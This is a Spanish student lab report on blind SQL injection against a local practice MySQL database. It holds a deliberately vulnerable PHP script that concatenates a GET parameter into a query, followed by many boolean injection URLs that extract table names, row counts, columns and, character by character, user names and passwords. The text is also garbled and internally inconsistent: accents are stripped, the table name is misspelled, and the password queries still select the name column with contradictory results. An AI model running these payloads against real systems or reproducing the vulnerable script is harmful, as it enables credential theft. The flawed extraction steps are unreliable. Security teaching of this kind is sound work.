You are on page 1of 13

Ivn Martn Valderas

SQL injection

SQL INJECTION

SQL injection

ndice
1. Creacin de la BD . 2 2. Comprobacin de SQL Injection 3 3. Prctica contra BD de Luca .. 5

Ivn Martn Valderas

Pgina 1

1. Creacin de nuestra Base de Datos:


mysql> create database asir1; Query OK, 1 row affected (0.00 sec)

Mysql> use asir1; Database changed

insert into `usuarios` values (1, 'root','asir2012'); insert into `usuarios` values (2, 'ivan','ivanasir'); insert into `usuarios` values (3, 'luci','luciasir');

mysql> select * from usuarios; +----+---------+----------+ | id | nonmbre | password | +----+---------+----------+ | 1 | root | asir2012 | | 2 | ivan | ivanasir | | 3 | luci | luciasir | +----+---------+----------+ 3 rows in set (0.00 sec)

SQL injection

2. Comprobacin de SQL injection

Primero creamos un script que haga una consulta a una base de datos vulnerable donde la Base de Datos objetivo ser Prueba sin contrasea: <?php $host = 'localhost'; $dbuser = 'root'; $dbpass = ''; $dbname = 'Prueba'; $db = mysql_connect($host, $dbuser, $dbpass); mysql_select_db($dbname,$db); $sql = "SELECT * FROM usuarios WHERE id=".$_GET['id']; $query = mysql_query($sql); if(@mysql_num_rows($query)==0){ die('Error...! :('); } $result=@mysql_fetch_row($query); echo "<h2><center>Blind SQL Injection<br>Ejemplos<br><br>"; echo "<font color='#FF0000'>id: </font>".$result[0]."<br>"; echo "<font color='#FF0000'>Nombre: </font>".$result[1]."<br>"; // echo "Contrasea: ".$result[2]."<br>"; echo "</h2></center>"; die();?>

Si nos fijamos, disponemos de una clusula GET, de la cual ya sabemos que se debe evitar puesto que en cuanto a seguridad es muy vulnerable. Vamos a aprovecharlo y utilizar consultas del estilo: http://localhost/EjerPHP/SQL%20Injection/consulta.php?id=1 AND 1=1 Con ello insertamos una clusula 1=1 que sabemos es verdadera entonces al incorporarlo con el AND el servidor nos dar el id 1 y adems le diremos que 1 es igual a 1, as podremos interpretar la reaccin del servidor.

Ivn Martn Valderas

Pgina 3

http://localhost/EjerPHP/SQL%20Injection/consulta.php?id=1

De esta manera mediante el explorador podemos hacer consultas en la base de datos que se encuentra debajo de la web objetivo, esto es SQL Injection.

Como vemos al poner tras la URL un ?id=1 el servidor nos responde con un id: 1 y un Nombre: root o lo que sera lo mismo: SELECT * FROM tabla WHERE id = 1.

Ah es donde acta el GET de nuestro Script: $sql = "SELECT * FROM usuarios WHERE id=".$_GET['id'];

De esta manera podemos saber el id y Nombre de toda la table que est detrs:

http://localhost/EjerPHP/SQL%20Injection/consulta.php?id=2

SQL injection

http://localhost/EjerPHP/SQL%20Injection/consulta.php?id=3

http://localhost/EjerPHP/SQL%20Injection/consulta.php?id=4

Hasta que nos encontramos con un Error! :( Esto es porque el servidor nos devuelve un falso, no hay ningn id=4 en la tabla

Ivn Martn Valderas

Pgina 5

3. Prctica contra la BD de Luca:


Para sta prctica pasamos la base de datos en formato archivo, de manera que podamos trabajar con ella localmente copiando los archivos a nuestra carpeta de datos de mysql. Igualmente debimos cambiar el cdigo del script de manera que pusiramos el nombre de la Base de Datos, que es el mismo que el de la carpeta que contiene los archivos necesarios.

Probamos si posee vulnerabilidades enviando una pregunta que sabemos que es verdadera: http://localhost/EjerPHP/SQL%20Injection/consulta.php?id=1 and 1=1

Ahora bien, si la pregunta que formulamos sabemos que es falsa, vamos a comprobar la vulnerabilidad con la reaccin del servidor: http://localhost/EjerPHP/SQL%20Injection/consulta.php?id=1 and 1=0

A partir de ahora podremos formularle preguntas al servidor acerca de la base de datos. Cuando las respuestas sean falsas se nos enviar a: "Error...!! :(, mientras que cuando sean verdaderas nos quedaremos en la misma pgina.

Averiguamos el nombre de la tabla:


http://localhost/EjerPHP/SQL%20Injection/consulta.php?id=1 AND (SELECT (COUNT(*)) FROM users)

SQL injection
http://localhost/EjerPHP/SQL%20Injection/consulta.php?id=1 AND (SELECT (COUNT(*)) FROM usuarios)

El nombre de la Tabla es usuarios

Averiguamos el nmero de registros de la table:


http://localhost/EjerPHP/SQL%20Injection/consulta.php?id=1 AND (SELECT (COUNT(*)) FROM usuarios) > 5

http://localhost/EjerPHP/SQL%20Injection/consulta.php?id=1 AND (SELECT (COUNT(*)) FROM usuarios) < 10

Ahora ya sabemos que estn entre 5 y 10 registros

Ivn Martn Valderas

Pgina 7

http://localhost/EjerPHP/SQL%20Injection/consulta.php?id=1 AND (SELECT (COUNT(*)) FROM usuarios) =6 FALSO http://localhost/EjerPHP/SQL%20Injection/consulta.php?id=1 AND (SELECT (COUNT(*)) FROM usuarios) =7 FALSO http://localhost/EjerPHP/SQL%20Injection/consulta.php?id=1 AND (SELECT (COUNT(*)) FROM usuarios) =8 VERDADERO Hay 8 registros

Averiguamos los nombres de las columnas:


Los usuarios suelen estar formados por usuario + contrasea, por lo que para buscar debemos saber sinnimos de ambos: Usuario: user, usuario, name, nombre, person, Contrasea: password, pwd, pass, contrasea, clave, key,

http://localhost/EjerPHP/SQL%20Injection/consulta.php?id=1 AND (SELECT (COUNT(user)) FROM usuarios) FALSO http://localhost/EjerPHP/SQL%20Injection/consulta.php?id=1 AND (SELECT (COUNT(usuario)) FROM usuarios) FALSO http://localhost/EjerPHP/SQL%20Injection/consulta.php?id=1 AND (SELECT (COUNT(name)) FROM usuarios) FALSO http://localhost/EjerPHP/SQL%20Injection/consulta.php?id=1 AND (SELECT (COUNT(nombre)) FROM usuarios) VERDADERO El nombre de la columna es nombre

Http://localhost/EjerPHP/SQL%20Injection/consulta.php?id=1 AND (SELECT (COUNT(password)) FROM usuarios) VERDADERO El nombre de la otra columna es password

SQL injection

En este caso sali a la primera, pero si probamos otro comprobamos que nos devuelve un falso: http://localhost/EjerPHP/SQL%20Injection/consulta.php?id=1 AND (SELECT (COUNT(contrasea)) FROM usuarios) FALSO

Por ahora hemos conseguido sacar la tabla, que sera tal que as: Usuarios ID ID1 ID2 ID8 NOMBRE Nombre1 Nombre2 Nombre8 PASSWORD Password1 Password2 Password8

Ahora nuestro siguiente paso es sacar algo de informacin de la tabla, podemos comenzar con el nombre del ID1, para ello seguiremos unos pasos sencillos con los que ir sacando poco a poco informacin que nos sirva para llegar a nuestro objetivo final. El nombre se compone de caracteres, un nombre dispone de varios caracteres por lo que primero vamos a averiguar el nmero de caracteres que posee y luego carcter a carcter debemos averiguar cul es cada uno. Longitud:

http://localhost/EjerPHP/SQL%20Injection/consulta.php? id=1 AND (SELECT length(nombre) FROM usuairos where id=1) > 5 FALSO

http://localhost/EjerPHP/SQL%20Injection/consulta.php? id=1 AND (SELECT length(nombre) FROM usuairos where id=1) > 1 VERDADERO

http://localhost/EjerPHP/SQL%20Injection/consulta.php? id=1 AND (SELECT length(nombre) FROM usuairos where id=1) =2 FALSO http://localhost/EjerPHP/SQL%20Injection/consulta.php? id=1 AND (SELECT length(nombre) FROM usuairos where id=1) =3 VERDADERO

Ivn Martn Valderas

Pgina 9

Para saber qu caracteres, necesitamos hacer uso de


la funcin SUBSTRING, con ella probaremos segn la posicin del carcter el cdigo ASCII de la letra que buscamos, hay programas que automatizan estos pasos, pero nosotros estamos aprendiendo.

Probamos si el primer character es una letra A mayscula y luego una a minscula A: http://localhost/EjerPHP/SQL%20Injection/consulta.php? id=1 AND ascii(substring((SELECT nombre FROM usuairos where id=1),1,1))=65; FALSO a: http://localhost/EjerPHP/SQL%20Injection/consulta.php? id=1 AND ascii(substring((SELECT nombre FROM usuairos where id=1),1,1))=97; VERDADERO

Probamos el segundo character: A http://localhost/EjerPHP/SQL%20Injection/consulta.php? id=1 AND ascii(substring((SELECT nombre FROM usuairos where id=1),2,1))=65; FALSO a http://localhost/EjerPHP/SQL%20Injection/consulta.php? id=1 AND ascii(substring((SELECT nombre FROM usuairos where id=1),2,1))=97; VERDADERO

SQL injection

Dado que el nombre son 3 caracteres y por ahora tenemos: aa_ donde _ es un caracter que no sabemos, vamos a probar de nuevo con otra a minscula: a http://localhost/EjerPHP/SQL%20Injection/consulta.php? id=1 AND ascii(substring((SELECT nombre FROM usuairos where id=1),3,1))=97; VERDADERO El primer nombre es aaa

Vamos a probar a averiguar la contrasea:


A: http://localhost/EjerPHP/SQL%20Injection/consulta.php? id=1 AND ascii(substring((SELECT nombre FROM usuairos where id=1),1,1))=65; FALSO a: http://localhost/EjerPHP/SQL%20Injection/consulta.php? id=1 AND ascii(substring((SELECT nombre FROM usuairos where id=1),1,1))=97; FALSO B: http://localhost/EjerPHP/SQL%20Injection/consulta.php? id=1 AND ascii(substring((SELECT nombre FROM usuairos where id=1),1,1))=66; FALSO b: http://localhost/EjerPHP/SQL%20Injection/consulta.php? id=1 AND ascii(substring((SELECT nombre FROM usuairos where id=1),1,1))=98; VERDADERO

Dado que el nombre de usuario fue aaa y la contrasea empieza por b__ vamos a probar con bbb

http://localhost/EjerPHP/SQL%20Injection/consulta.php? id=1 AND ascii(substring((SELECT nombre FROM usuairos where id=1),2,1))=98; VERDADERO http://localhost/EjerPHP/SQL%20Injection/consulta.php? id=1 AND ascii(substring((SELECT nombre FROM usuairos where id=1),3,1))=98; VERDADERO La contrasea es bbb

Ivn Martn Valderas

Pgina 11

La primera fila de nuestra tabla sera as: Usuarios ID NOMBRE PASSWORD

1
ID2 ID8

aaa
Nombre2 Nombre8

bbb
Password2 Password8

Deberamos repetir este proceso con todas las dems filas, aunque como ya se ha dicho antes, hay programas que automatizan todo este proceso.

You might also like